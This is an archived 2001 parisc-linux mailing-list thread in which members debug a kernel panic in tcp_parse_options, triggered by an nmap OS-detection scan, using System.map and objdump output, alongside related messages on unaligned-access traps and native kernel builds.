Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620486 25654 80.91.229.3 (22 Nov 2014 01:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Francois Deppierraz <francois@ctrlaltdel.ch>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 12:45:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11182482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 12:45:54 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id UAA18553
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 20:45:51 +0200 (CEST)
Original-Received: (qmail 5748 invoked from network); 17 Sep 2001 18:33:15 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 17 Sep 2001 18:33:15 -0000
Original-Received: (qmail 7335 invoked by uid 500); 17 Sep 2001 18:33:12 -0000
Content-Disposition: inline
In-Reply-To: <20010917165501.B17483@gollum.intranet.nimag.net>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12202

On Mon, Sep 17, 2001 at 04:55:01PM +0200, Francois Deppierraz wrote:
> Hi kernel hackers !
> 
> My HP 712/60 with a 2.4.9-pa20 kernel crash with the following error
> message when I portscan it using nmap -O (OS detection).
> 
> kswapd[4]: Unaligned data reference 28
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111000001111
> r0-3o 00000000 10332810 1028b9e4 0000000a
> r4-7o 100dfdb2 100ed148 0000000c 100dfd94
> r8-11o 00000000 00000001 00020000 10ce6500
> r12-15o 11fb09a0 00004400 00004800 43f02aa9
> r16-19o 100eca00 00000000 00000c00 00000001
> r20-23o 00000000 00000109 117ca000 0000000f
> r24-27o 00000000 100ed148 10ce6500 102f0010
> r28-31o 117ca160 00000040 100ed400 1012e6d8
> sr0-3o 00000000 00000002 00000000 00000002
> sr4-7o 00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 10281658 1028165c
>  IIR: 0c801093    ISR: 00000000  IOR: 100dfdb2
>  CPU:        0   CR30: 100ec000 CR31: 103a0000
>  ORIG_R28: 00000000
> Kernel Panic: Aiee, killing interrupt handler!
> In interrupt handler - not syncing
> 
> Thanks for your work !
> 
> Any idea ? Do I need to fill a bugreport ?

Let's first find out what happened. Paste a small part of your
System.map file for this kernel (like 10 lines) with the address
10281658 somewhere in the middle. Then do 

objdump -d <your kernel> and grep for say 40 lines around 10281658. It
helps if there are some calls in that part, so you can see where we are
in the kernel. 

Nobody can do this for you, since your kernel is unique (or at least
probably unique).

If in doubt, search the archives for a mail with the subject 'Documented
oops running big-endian reiserfs on parisc architecture' where I
basically do the same: find out where it went wrong.

Then post this information!


Good luck,
Jurriaan
-- 
Do you consider yourself to be the native of another world?
Reith laughed and groped for an answer. He said: "Four possible conditions
exist. If I were indeed from another world I could answer yes or no. If I
were not from another world I could answer yes or no. The first case leads
to inconvenience. The second diminishes my self-respect. The third case is
insanity. The fourth represents the only situation you would not consider
an abnormality. The question, hence, as you admit, is absurd."
	Adam Reith (Jack Vance - Servants of the Wankh)
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.29 0.37 0.20




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Getting up and running
Date: Mon, 17 Sep 2001 23:25:30 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109172318580.16734-100000@www2.scram.de>
References: <200109171012.EAA27443@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620486 25663 80.91.229.3 (22 Nov 2014 01:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:26 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 15:28:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id A94F0482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 15:28:17 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8HLPUG07611;
	Mon, 17 Sep 2001 23:25:30 +0200 (CEST)
In-Reply-To: <200109171012.EAA27443@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12203

Hi John,

> I thought for a second that the patch might work anyway, since the
> unaligned fault handler has exception table support, so even though
> the instruction might be unecessarily emulated, it would still
> successfully bring the page in, but the unaligned fault handler
> uses ldb, which would just cause an infinite loop ...

init started:  BusyBox v0.51 (2001.06.27-21:43+0000) multi-call binary
rcS(14): unaligned access to 0x000411e5 at ip=0x0001a04f
Not-handled unaligned insn 0x60a0002a
Unaligned handler failed, ret = -1 #
# ps -ax
<4>sh(16): unaligned access to 0x000411e5 at ip=0x0001a04f
Not-handled unaligned insn 0x60a0002a
Unaligned handler failed, ret = -1 Bus error
# ls -la
<4>sh(17): unaligned access to 0x000411e5 at ip=0x0001a04f
Not-handled unaligned insn 0x60a0002a
Unaligned handler failed, ret = -1 Bus error

I had more success using the old suggested patch:

"Our" CPUs are very old. So there must be a line added in
the arch/parisc/kernel/trap.c file. In the handle_interruption()
you must add the line
        `case 18:'
where
        `case 15:'
        `case 26:'
is in the code, because these old CPUs use an older method of
"reporting" page faults, etc...

It looks like the expression "if (regs->ior & 3)" might be wrong here...

Cheers,
Jochen





From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marka@sea.checkpoint.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installing a native built kernel with 2.4.0 (.92 dist).
Date: Mon, 17 Sep 2001 15:13:40 -0700 (Pacific Daylight Time)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.WNT.4.33.0109171459100.1080-100000@nemo.dev.metainfo.com>
References: <Pine.NEB.4.33.0109172318580.16734-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620487 25672 80.91.229.3 (22 Nov 2014 01:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 16:13:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postal.sea.checkpoint.com (postal.sea.checkpoint.com [208.252.84.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92827482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 16:13:55 -0600 (MDT)
Original-Received: from cartman.sea.checkpoint.com (localhost [127.0.0.1])
	by postal.sea.checkpoint.com (8.9.3/8.9.3.RJ666.9) with ESMTP id PAA28717
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 15:12:07 -0700
Original-Received: by cartman.sea.checkpoint.com with Internet Mail Service (5.5.2650.21)
	id <SMXCYDAH>; Mon, 17 Sep 2001 15:13:49 -0700
Original-Received: from nemo.dev.metainfo.com (208.252.84.213 [208.252.84.213]) by cartman.sea.checkpoint.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id SMXCYDAF; Mon, 17 Sep 2001 15:13:45 -0700
In-Reply-To: <Pine.NEB.4.33.0109172318580.16734-100000@www2.scram.de>
X-X-Sender: marka@cartman.sea.checkpoint.com
Xref: news.gmane.org gmane.linux.ports.parisc:12204

I've successfully installed and upgraded with the .92 distro, but I'm having
trouble getting a natively built kernel with this distro to load.

the load will either freeze at 'branching to kernel entry point' or
on the last time I rebuilt and copied, it complained:

Couldn't grok your kernel executable format
failed to load kernel

this is with kernel-latest and palo-latest from Sep 7 on a b180l

I select PA7300LC on 'make oldconfig' (this sets CONFIG_PA7100LC=y in
.config).

Any tips from the pros on building and installing -latest natively?  I'd
really like to get the fixes in 2.4.9, and there must be something more
interesting that needs to be done than copying/renaming lifimage over to /boot
and updating palo.conf and re-running palo.

-mark




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Francois Deppierraz <francois@ctrlaltdel.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Tue, 18 Sep 2001 00:24:28 +0200
Lines: 139
Approved: news@gmane.org
Message-ID: <20010918002427.C17483@gollum.intranet.nimag.net>
References: <20010917165501.B17483@gollum.intranet.nimag.net> <20010917203312.A6109@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620487 25679 80.91.229.3 (22 Nov 2014 01:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 17 16:24:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oscar.intranet.nimag.net (slipknot.nimag.net [195.202.197.141])
	by dsl2.external.hp.com (Postfix) with SMTP id 19DDF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Sep 2001 16:24:30 -0600 (MDT)
Original-Received: (qmail 16053 invoked from network); 17 Sep 2001 22:24:28 -0000
Original-Received: from gollum.intranet.nimag.net (192.168.0.10)
  by oscar.intranet.nimag.net with SMTP; 17 Sep 2001 22:24:28 -0000
Original-Received: from francois by gollum.intranet.nimag.net with local (Exim 3.32 #1 (Debian))
	id 15j6oW-0004gp-00; Tue, 18 Sep 2001 00:24:28 +0200
Content-Disposition: inline
In-Reply-To: <20010917203312.A6109@middle.of.nowhere>
User-Agent: Mutt/1.3.20i
Original-Sender: Francois Deppierraz <francois@ctrlaltdel.ch>
Xref: news.gmane.org gmane.linux.ports.parisc:12205

On Mon, Sep 17, 2001 at 08:33:12PM +0200, thunder7@xs4all.nl wrote:

> Let's first find out what happened. Paste a small part of your
> System.map file for this kernel (like 10 lines) with the address
> 10281658 somewhere in the middle. Then do 

I didn't found 10281658 in System.map.

ludwig:/boot# grep -C -10 102816 /boot/System.map-2.4.9-pa20
10280d7c t .L2469
10280d8c t .L2470
10280dcc t .L2471
10280ed0 t .L2472
10280f00 t tcp_ack_probe
10280ff0 t tcp_ack_update_window
10281104 t tcp_ack
1028114c t .L2521
102811b4 t .L2569
10281418 T tcp_parse_options
1028168c t tcp_disordered_ack
1028173c t tcp_reset
1028179c t .L2659
10281828 t .L2676
10281850 t tcp_fin
10281910 t .L2678
10281914 t .L2720
1028195c t .L2756
10281ae4 t .L2757
10281af8 t .L2758
10281af8 t tcp_send_dupack
ludwig:/boot# 

> objdump -d <your kernel> and grep for say 40 lines around 10281658. It
> helps if there are some calls in that part, so you can see where we are
> in the kernel. 

ludwig:/boot# objdump -d /boot/vmlinux-2.4.9-pa20 | grep -C -40 10281658
102815b8:       37 5a 08 78     ldo 43c(r26),r26
102815bc:       34 13 00 1c     ldi e,r19
102815c0:       e8 1f 1e 2d     b,l 102814dc <tcp_parse_options+0xc4>,r0
102815c4:       60 b3 02 08     stb r19,104(sr0,r5)
102815c8:       8c 64 3e 25     cmpib,<> 2,r3,102814e0 <tcp_parse_options+0xc8>
102815cc:       08 64 0a 13     add,l r4,r3,r19
102815d0:       0c f8 10 93     ldw  c(sr0,r7),r19
102815d4:       09 53 02 13     and r19,r10,r19
102815d8:       86 60 3e 05     cmpib,= 0,r19,102814e0 <tcp_parse_options+0xc8>
102815dc:       08 64 0a 13     add,l r4,r3,r19
102815e0:       8d 00 3d ff     cmpib,<>,n 0,r8,102814e4 <tcp_parse_options+0xcc>
102815e4:       36 64 3f fd     ldo -2(r19),r4
102815e8:       2b 61 50 00     addil 42800,dp,%r1
102815ec:       48 33 0a 70     ldw 538(sr0,r1),r19
102815f0:       86 60 3d d5     cmpib,= 0,r19,102814e0 <tcp_parse_options+0xc8>
102815f4:       08 64 0a 13     add,l r4,r3,r19
102815f8:       60 a9 02 04     stb r9,102(sr0,r5)
102815fc:       60 a0 02 34     stb r0,11a(sr0,r5)
10281600:       60 a0 02 36     stb r0,11b(sr0,r5)
10281604:       e8 1f 1d ad     b,l 102814e0 <tcp_parse_options+0xc8>,r0
10281608:       60 a0 02 9a     stb r0,14d(sr0,r5)
1028160c:       8c 72 5d 9d     cmpib,>= 9,r3,102814e0 <tcp_parse_options+0xc8>
10281610:       08 64 0a 13     add,l r4,r3,r19
10281614:       34 73 3f fd     ldo -2(r3),r19
10281618:       d2 73 1b fd     extrw,u r19,31,3,r19
1028161c:       8e 60 3d 7d     cmpib,<> 0,r19,102814e0 <tcp_parse_options+0xc8>
10281620:       08 64 0a 13     add,l r4,r3,r19
10281624:       40 b3 02 04     ldb 102(sr0,r5),r19
10281628:       86 60 3d 5d     cmpib,= 0,r19,102814dc <tcp_parse_options+0xc4>
1028162c:       08 e4 04 13     sub r4,r7,r19
10281630:       36 73 3f fd     ldo -2(r19),r19
10281634:       e8 1f 1d 45     b,l 102814dc <tcp_parse_options+0xc4>,r0
10281638:       61 73 00 92     stb r19,49(sr0,r11)
1028163c:       8c 74 3d 3d     cmpib,<> a,r3,102814e0 <tcp_parse_options+0xc8>
10281640:       08 64 0a 13     add,l r4,r3,r19
10281644:       85 00 20 42     cmpib,=,n 0,r8,1028166c <tcp_parse_options+0x254>
10281648:       40 b3 02 00     ldb 100(sr0,r5),r19
1028164c:       86 60 3d 1d     cmpib,= 0,r19,102814e0 <tcp_parse_options+0xc8>
10281650:       08 64 0a 13     add,l r4,r3,r19
10281654:       60 a9 02 06     stb r9,103(sr0,r5)
10281658:       0c 80 10 93     ldw  0(sr0,r4),r19
1028165c:       68 b3 02 10     stw r19,108(sr0,r5)
10281660:       0c 88 10 94     ldw  4(sr0,r4),r20
10281664:       e8 1f 1c e5     b,l 102814dc <tcp_parse_options+0xc4>,r0
10281668:       68 b4 02 18     stw r20,10c(sr0,r5)
1028166c:       2b 61 50 00     addil 42800,dp,%r1
10281670:       48 33 0a 60     ldw 530(sr0,r1),r19
10281674:       8e 60 3f bf     cmpib,<>,n 0,r19,10281658 <tcp_parse_options+0x240>
10281678:       60 a9 02 06     stb r9,103(sr0,r5)
1028167c:       e8 1f 1c bd     b,l 102814e0 <tcp_parse_options+0xc8>,r0
10281680:       08 64 0a 13     add,l r4,r3,r19
10281684:       e8 1f 1c bd     b,l 102814e8 <tcp_parse_options+0xd0>,r0
10281688:       b4 c6 07 ff     addi -1,r6,r6

1028168c <tcp_disordered_ack>:
1028168c:       4b 35 00 38     ldw 1c(sr0,r25),r21
10281690:       08 1a 02 57     copy r26,r23
10281694:       0e b8 10 93     ldw  c(sr0,r21),r19
10281698:       4b 36 00 78     ldw 3c(sr0,r25),r22
1028169c:       4b 34 00 98     ldw 4c(sr0,r25),r20
102816a0:       c5 73 c0 10     bb,*>= r19,b,102816b0 <tcp_disordered_ack+0x24>
102816a4:       34 1c 00 00     ldi 0,ret0
102816a8:       4b 33 00 80     ldw 40(sr0,r25),r19
102816ac:       82 d3 20 02     cmpb,=,n r19,r22,102816b4 <tcp_disordered_ack+0x28>
102816b0:       e8 40 c0 02     bv,n r0(rp)
102816b4:       0e f0 10 93     ldw  8(sr0,r23),r19
102816b8:       8a d3 3f e5     cmpb,<> r19,r22,102816b0 <tcp_disordered_ack+0x24>
102816bc:       08 00 02 40     nop
102816c0:       4a f3 00 20     ldw 10(sr0,r23),r19
102816c4:       8a 93 3f cd     cmpb,<> r19,r20,102816b0 <tcp_disordered_ack+0x24>
102816c8:       08 00 02 40     nop
102816cc:       42 f3 02 08     ldb 104(sr0,r23),r19
102816d0:       4a f8 00 a0     ldw 50(sr0,r23),r24
102816d4:       0e bc 10 54     ldh  e(sr0,r21),r20
102816d8:       96 73 00 3e     subi 1f,r19,r19
102816dc:       01 73 18 40     mtsar r19
102816e0:       0a d8 04 15     sub r24,r22,r21
102816e4:       d6 94 00 00     depw,z r20,%sar,32,r20
102816e8:       86 a0 60 60     cmpib,<= 0,r21,10281720 <tcp_disordered_ack+0x94>
102816ec:       34 19 00 00     ldi 0,r25
102816f0:       34 19 00 02     ldi 1,r25
102816f4:       8f 20 3f 6d     cmpib,<> 0,r25,102816b0 <tcp_disordered_ack+0x24>
102816f8:       34 19 00 c8     ldi 64,r25
102816fc:       4a fa 01 00     ldw 80(sr0,r23),r26
10281700:       4a f3 02 20     ldw 110(sr0,r23),r19
10281704:       d7 5a 09 4a     depw,z r26,21,22,r26
10281708:       eb fd 08 c4     b,l 102bcb70 <$$divU>,r31
1028170c:       4a f4 02 10     ldw 108(sr0,r23),r20
ludwig:/boot# 

> Then post this information!

Here it is, anything else needed ?

Thanks a lot !
-- 
Francois Deppierraz <francois.deppierraz@nimag.net>
Nimag Networks Srl - www.nimag.net
PGP Key ID: 9D283BC9




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Tue, 18 Sep 2001 07:38:55 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20010918073855.A11627@middle.of.nowhere>
References: <20010917165501.B17483@gollum.intranet.nimag.net> <20010917203312.A6109@middle.of.nowhere> <20010918002427.C17483@gollum.intranet.nimag.net>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620487 25691 80.91.229.3 (22 Nov 2014 01:41:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 04:24:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp7.xs4all.nl (smtp7.xs4all.nl [194.109.127.133])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E9D6482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 04:24:03 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp7.xs4all.nl (8.9.3/8.9.3) with ESMTP id MAA03501
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 12:24:01 +0200 (CEST)
Original-Received: (qmail 513 invoked from network); 18 Sep 2001 10:23:57 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 18 Sep 2001 10:23:57 -0000
Original-Received: (qmail 14057 invoked by uid 500); 18 Sep 2001 05:38:55 -0000
Content-Disposition: inline
In-Reply-To: <20010918002427.C17483@gollum.intranet.nimag.net>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12206

On Tue, Sep 18, 2001 at 12:24:28AM +0200, Francois Deppierraz wrote:
> ludwig:/boot# objdump -d /boot/vmlinux-2.4.9-pa20 | grep -C -40 10281658
> 102815b8:       37 5a 08 78     ldo 43c(r26),r26
> 102815bc:       34 13 00 1c     ldi e,r19
> 102815c0:       e8 1f 1e 2d     b,l 102814dc <tcp_parse_options+0xc4>,r0
> 102815c4:       60 b3 02 08     stb r19,104(sr0,r5)
> 102815c8:       8c 64 3e 25     cmpib,<> 2,r3,102814e0 <tcp_parse_options+0xc8>
> 102815cc:       08 64 0a 13     add,l r4,r3,r19
> 102815d0:       0c f8 10 93     ldw  c(sr0,r7),r19
> 102815d4:       09 53 02 13     and r19,r10,r19
> 102815d8:       86 60 3e 05     cmpib,= 0,r19,102814e0 <tcp_parse_options+0xc8>
> 102815dc:       08 64 0a 13     add,l r4,r3,r19
> 102815e0:       8d 00 3d ff     cmpib,<>,n 0,r8,102814e4 <tcp_parse_options+0xcc>
> 102815e4:       36 64 3f fd     ldo -2(r19),r4
> 102815e8:       2b 61 50 00     addil 42800,dp,%r1
> 102815ec:       48 33 0a 70     ldw 538(sr0,r1),r19
> 102815f0:       86 60 3d d5     cmpib,= 0,r19,102814e0 <tcp_parse_options+0xc8>
> 102815f4:       08 64 0a 13     add,l r4,r3,r19
> 102815f8:       60 a9 02 04     stb r9,102(sr0,r5)
> 102815fc:       60 a0 02 34     stb r0,11a(sr0,r5)
> 10281600:       60 a0 02 36     stb r0,11b(sr0,r5)
> 10281604:       e8 1f 1d ad     b,l 102814e0 <tcp_parse_options+0xc8>,r0
> 10281608:       60 a0 02 9a     stb r0,14d(sr0,r5)
> 1028160c:       8c 72 5d 9d     cmpib,>= 9,r3,102814e0 <tcp_parse_options+0xc8>
> 10281610:       08 64 0a 13     add,l r4,r3,r19
> 10281614:       34 73 3f fd     ldo -2(r3),r19
> 10281618:       d2 73 1b fd     extrw,u r19,31,3,r19
> 1028161c:       8e 60 3d 7d     cmpib,<> 0,r19,102814e0 <tcp_parse_options+0xc8>
> 10281620:       08 64 0a 13     add,l r4,r3,r19
> 10281624:       40 b3 02 04     ldb 102(sr0,r5),r19
> 10281628:       86 60 3d 5d     cmpib,= 0,r19,102814dc <tcp_parse_options+0xc4>
> 1028162c:       08 e4 04 13     sub r4,r7,r19
> 10281630:       36 73 3f fd     ldo -2(r19),r19
> 10281634:       e8 1f 1d 45     b,l 102814dc <tcp_parse_options+0xc4>,r0
> 10281638:       61 73 00 92     stb r19,49(sr0,r11)
> 1028163c:       8c 74 3d 3d     cmpib,<> a,r3,102814e0 <tcp_parse_options+0xc8>
> 10281640:       08 64 0a 13     add,l r4,r3,r19
> 10281644:       85 00 20 42     cmpib,=,n 0,r8,1028166c <tcp_parse_options+0x254>
> 10281648:       40 b3 02 00     ldb 100(sr0,r5),r19
> 1028164c:       86 60 3d 1d     cmpib,= 0,r19,102814e0 <tcp_parse_options+0xc8>
> 10281650:       08 64 0a 13     add,l r4,r3,r19
> 10281654:       60 a9 02 06     stb r9,103(sr0,r5)
> 10281658:       0c 80 10 93     ldw  0(sr0,r4),r19
and there it seems to have crashed
> 
> Here it is, anything else needed ?
> 
A basic understanding of parisc assembly would help me :-)
At this point, newbies like you and me can only hope one of the real
kernel hackers sees this and says 'A-ha!'.

If I look at that code, I see a lot of (__u16 *)ptr and the like.

Am I correct in assuming those are all suspects and this is just another
example of the missing unaligned access trap haunting us?

Jurriaan
-- 
"You were warned, fool. Now I will teach you to profit
 from such courtesies when they are offered."
	Stephen R Donaldson - By Another Name
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.02 0.03 0.00




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Tue, 18 Sep 2001 12:38:29 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20010918123829.A3082@dogbert.localdomain>
References: <20010917165501.B17483@gollum.intranet.nimag.net> <20010917203312.A6109@middle.of.nowhere> <20010918002427.C17483@gollum.intranet.nimag.net> <20010918073855.A11627@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="lrZ03NoBR/3+SXJZ"
X-Trace: ger.gmane.org 1416620488 25701 80.91.229.3 (22 Nov 2014 01:41:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 04:39:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties1.sun.ac.za (maties1.sun.ac.za [146.232.128.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87006482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 04:39:03 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties1.sun.ac.za with smtp (Exim 3.31 #1)
	id 15jIHL-0003aI-00
	for parisc-linux@lists.parisc-linux.org; Tue, 18 Sep 2001 12:38:59 +0200
Original-Received: (qmail 12951 invoked from network); 18 Sep 2001 10:38:59 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 18 Sep 2001 10:38:59 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15jIGs-0000oX-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 12:38:30 +0200
Content-Disposition: inline
In-Reply-To: <20010918073855.A11627@middle.of.nowhere>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12207

--lrZ03NoBR/3+SXJZ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

I'm pretty new to the whole PA-RISC Linux effort, so I would appreciate
it if someone could explain to me (and perhaps to other newbies), what
these unaligned access traps are, and what needs to be added to traps.c
(or possibly elsewhere) to get things working properly?

Regards,

Albert

--lrZ03NoBR/3+SXJZ
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7pyQlDg+hOeRZtkMRAsSAAJ0Z9J0LB3qfNTORXV5scmRkBN/L3gCgkxbS
gfB6D84yWMUaB4OnnwYFYLc=
=MBUr
-----END PGP SIGNATURE-----

--lrZ03NoBR/3+SXJZ--




From - Thu Nov 08 21:19:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Tue, 18 Sep 2001 12:25:42 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010918122542.V26658@parcelfarce.linux.theplanet.co.uk>
References: <20010917165501.B17483@gollum.intranet.nimag.net> <20010917203312.A6109@middle.of.nowhere> <20010918002427.C17483@gollum.intranet.nimag.net> <20010918073855.A11627@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620488 25703 80.91.229.3 (22 Nov 2014 01:41:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 18 05:25:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62E9F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Sep 2001 05:25:44 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15jJ0Y-00056b-00; Tue, 18 Sep 2001 12:25:42 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010918073855.A11627@middle.of.nowhere>; from thunder7@xs4all.nl on Tue, Sep 18, 2001 at 07:38:55AM +0200
